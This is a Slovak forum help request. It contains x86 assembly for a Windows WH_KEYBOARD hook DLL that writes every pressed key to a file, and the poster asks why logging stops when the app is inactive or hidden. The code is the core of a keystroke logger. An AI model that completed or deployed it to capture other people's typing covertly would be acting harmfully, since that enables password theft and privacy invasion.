Skúšal som to spraviť všelijak, ale akosi mi to stále nejde. Napíšem vám tú hlavnú časť kódu a možno vám to viac pomôže.
V tejto aplikácii ide proste o zápis hodnoty stlačeného klávesu do súboru. Všetko sa odohráva v knižnici, kde je umiestnená funkcia háku typu WH_KEYBOARD.
Výpis:
Kód:
Hook PROC EXPORT
push ebp
mov ebp, esp
push ebx
push DWORD PTR [ebp + 10h]
push DWORD PTR [ebp + 0Ch]
push DWORD PTR [ebp + 08h]
push [_hHook]
call CallNextHookEx@16
mov ebx, offset buffer
mov al, BYTE PTR [ebp + 0Ch]
mov [ebx], al
; ak bol klaves uvolneny, koniec
mov eax, DWORD PTR [ebp + 10h]
and eax, 80000000h
cmp eax, 80000000h
je _EXI
; zapis do suboru
push 0
push offset bytesWritten
push 1
push offset buffer
push _hFile
call WriteFile@20
jmp _EXI
_EXI:
pop ebx
pop ebp
ret 0
Hook ENDP
Ak je aplikácia aktívna, všetko funguje presne ako má. No stačí, že aplikácia prestane byť aktívna (to znamená, že je viditeľná, nie je SKRYTÁ), tak sa do súboru nič nezapíše. Ak dám namiesto funkcie WriteFile napríklad funkciu MessageBoxA, tak mi vyskočí správa messagebox-u, aj keď je aplikácia neaktívna, dokonca aj keď je skrytá!
Snáď vám to teraz trochu viac pomôže. Vopred ďakujem za odpoveď
